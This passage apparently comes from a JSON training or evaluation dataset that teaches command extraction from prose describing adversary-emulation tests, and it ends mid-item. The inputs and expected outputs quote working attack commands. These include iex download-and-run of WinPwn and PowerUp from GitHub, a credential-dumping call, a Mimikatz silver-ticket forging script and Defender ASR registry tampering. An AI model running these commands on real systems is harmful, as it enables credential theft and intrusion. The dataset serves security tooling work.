    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To simulate removing Microsoft Defender's ASR rules when deployed through GPO, execute this registry manipulation command:\n$registryPath = \"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Windows Defender Exploit Guard\\\\ASR\\\\Rules\"\n\nif (-not (Test-Path $registryPath)) {\n    New-Item -Path $registryPath -Force\n    Write-Host \"Registry key created: $registryPath\"\n}\n\n$newValueName = \"36190899-1602-49e8-8b27-eb1d0a1ce869\"\n$newValueData = \"1\"\nNew-ItemProperty -Path $registryPath -Name $newValueName -PropertyType String -Value $newValueData -Force\nWrite-Host \"Registry value created: $newValueName with data $newValueData\"\n\nRemove-ItemProperty -Path $registryPath -Name $newValueName\nWrite-Host \"Registry value deleted: $newValueName\"",
    "output": "{\"command_list\": [\"$registryPath = \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Windows Defender Exploit Guard\\\\ASR\\\\Rules\\\"\\n\\nif (-not (Test-Path $registryPath)) {\\n    New-Item -Path $registryPath -Force\\n    Write-Host \\\"Registry key created: $registryPath\\\"\\n}\\n\\n$newValueName = \\\"36190899-1602-49e8-8b27-eb1d0a1ce869\\\"\\n$newValueData = \\\"1\\\"\\nNew-ItemProperty -Path $registryPath -Name $newValueName -PropertyType String -Value $newValueData -Force\\nWrite-Host \\\"Registry value created: $newValueName with data $newValueData\\\"\\n\\nRemove-ItemProperty -Path $registryPath -Name $newValueName\\nWrite-Host \\\"Registry value deleted: $newValueName\\\"\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The system language can be determined by examining the locale configuration file, which you can access with this command: [ -f /etc/locale.conf ] && cat /etc/locale.conf || cat /etc/default/locale",
    "output": "{\"command_list\": [\"[ -f /etc/locale.conf ] && cat /etc/locale.conf || cat /etc/default/locale\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To identify potential vulnerabilities in remote software, attackers might execute this command to perform port and vulnerability scans: docker build -t t1046 $PathToAtomicsFolder/T1046/src/\ndocker run --name t1046_container --rm -d -t t1046\ndocker exec t1046_container /scan.sh",
    "output": "{\"command_list\": [\"docker build -t t1046 $PathToAtomicsFolder/T1046/src/\\ndocker run --name t1046_container --rm -d -t t1046\\ndocker exec t1046_container /scan.sh\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This macOS test loads the SoftRAID kernel module via IOKit API with these commands: sudo #{exe_path}\nkextstat 2>/dev/null | grep SoftRAID\nsudo kextunload /Library/Extensions/SoftRAID.kext",
    "output": "{\"command_list\": [\"sudo #{exe_path}\\nkextstat 2>/dev/null | grep SoftRAID\\nsudo kextunload /Library/Extensions/SoftRAID.kext\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For credential dumping with the PowerShell Kittie technique through WinPwn, execute this command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nobfuskittiedump -consoleoutput -noninteractive",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nobfuskittiedump -consoleoutput -noninteractive\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    After obtaining the service account hash, you can forge Kerberos TGS (silver) tickets, which are injected into a temporary Windows session to avoid polluting the current one. Here's the command to execute this process: Remove-Item $env:TEMP\\silver.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\silver.txt -ErrorAction Ignore\n\n# get current domain SID if default was used\n$domain_sid = \"#{domain_sid}\"\nIf ($domain_sid -Match \"DEFAULT\") {\n  # code from https://www.sevecek.com/EnglishPages/Lists/Posts/Post.aspx?ID=60\n  $domain = gwmi Win32_ComputerSystem | Select -Expand Domain\n  $krbtgtSID = (New-Object Security.Principal.NTAccount $domain\\krbtgt).Translate([Security.Principal.SecurityIdentifier]).Value\n  $domain_sid = $krbtgtSID.SubString(0, $krbtgtSID.LastIndexOf('-'))\n}\n\n# create batch file with commands to run in a separate \"runas /netonly\" session\n# so we don't purge Kerberos ticket from the current Windows session\n# its output goes to silver.txt temp file, because we cannot capture \"runas /netonly\" output otherwise\n@\">%TEMP%\\silver.txt 2>&1 (\n  echo Purge existing tickets and create silver ticket:\n  klist purge\n  #{mimikatz_path} \"kerberos::golden /domain:#{domain} /sid:DOMAIN_SID /aes256:#{service_aes256_key} /user:#{account} /service:HOST /target:#{target}.#{domain} /ptt\" \"exit\"\n\n  echo.\n  echo executing:schtasks /query /S #{target}.#{domain}\n  schtasks /query /S #{target}.#{domain}\n  \n  echo.\n  echo Tickets after requesting schtasks:\n  klist\n\n  echo.\n  echo End of Silver Ticket attack\n)\n\"@ -Replace \"DOMAIN_SID\", $domain_sid | Out-File -Encoding OEM $env:TEMP\\silver.bat\n\n# run batch file in a new empty session (password and username do not matter)\necho \"foo\" | runas /netonly /user:fake \"$env:TEMP\\silver.bat\" | Out-Null\n\n# wait until the output file has logged the entire attack\ndo {\n  Start-Sleep 1 # wait a bit so the output file has time to be created\n  Get-Content -Path \"$env:TEMP\\silver.txt\" -Wait | ForEach-Object {\n    if ($_ -match 'End of Silver Ticket attack') { break } \n  }\n} while ($false) # dummy loop so that 'break' can be used\n\n# show output from new empty session\nGet-Content $env:TEMP\\silver.txt\n\n# cleanup temp files\nRemove-Item $env:TEMP\\silver.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\silver.txt -ErrorAction Ignore",
    "output": "{\"command_list\": [\"Remove-Item $env:TEMP\\\\silver.bat -ErrorAction Ignore\\nRemove-Item $env:TEMP\\\\silver.txt -ErrorAction Ignore\\n\\n# get current domain SID if default was used\\n$domain_sid = \\\"#{domain_sid}\\\"\\nIf ($domain_sid -Match \\\"DEFAULT\\\") {\\n  # code from https://www.sevecek.com/EnglishPages/Lists/Posts/Post.aspx?ID=60\\n  $domain = gwmi Win32_ComputerSystem | Select -Expand Domain\\n  $krbtgtSID = (New-Object Security.Principal.NTAccount $domain\\\\krbtgt).Translate([Security.Principal.SecurityIdentifier]).Value\\n  $domain_sid = $krbtgtSID.SubString(0, $krbtgtSID.LastIndexOf('-'))\\n}\\n\\n# create batch file with commands to run in a separate \\\"runas /netonly\\\" session\\n# so we don't purge Kerberos ticket from the current Windows session\\n# its output goes to silver.txt temp file, because we cannot capture \\\"runas /netonly\\\" output otherwise\\n@\\\"\\n>%TEMP%\\\\silver.txt 2>&1 (\\n  echo Purge existing tickets and create silver ticket:\\n  klist purge\\n  #{mimikatz_path} \\\"kerberos::golden /domain:#{domain} /sid:DOMAIN_SID /aes256:#{service_aes256_key} /user:#{account} /service:HOST /target:#{target}.#{domain} /ptt\\\" \\\"exit\\\"\\n\\n  echo.\\n  echo executing:schtasks /query /S #{target}.#{domain}\\n  schtasks /query /S #{target}.#{domain}\\n  \\n  echo.\\n  echo Tickets after requesting schtasks:\\n  klist\\n\\n  echo.\\n  echo End of Silver Ticket attack\\n)\\n\\\"@ -Replace \\\"DOMAIN_SID\\\", $domain_sid | Out-File -Encoding OEM $env:TEMP\\\\silver.bat\\n\\n# run batch file in a new empty session (password and username do not matter)\\necho \\\"foo\\\" | runas /netonly /user:fake \\\"$env:TEMP\\\\silver.bat\\\" | Out-Null\\n\\n# wait until the output file has logged the entire attack\\ndo {\\n  Start-Sleep 1 # wait a bit so the output file has time to be created\\n  Get-Content -Path \\\"$env:TEMP\\\\silver.txt\\\" -Wait | ForEach-Object {\\n    if ($_ -match 'End of Silver Ticket attack') { break } \\n  }\\n} while ($false) # dummy loop so that 'break' can be used\\n\\n# show output from new empty session\\nGet-Content $env:TEMP\\\\silver.txt\\n\\n# cleanup temp files\\nRemove-Item $env:TEMP\\\\silver.bat -ErrorAction Ignore\\nRemove-Item $env:TEMP\\\\silver.txt -ErrorAction Ignore\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For checking the system language and territory information, run the command: locale.",
    "output": "{\"command_list\": [\"locale\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive 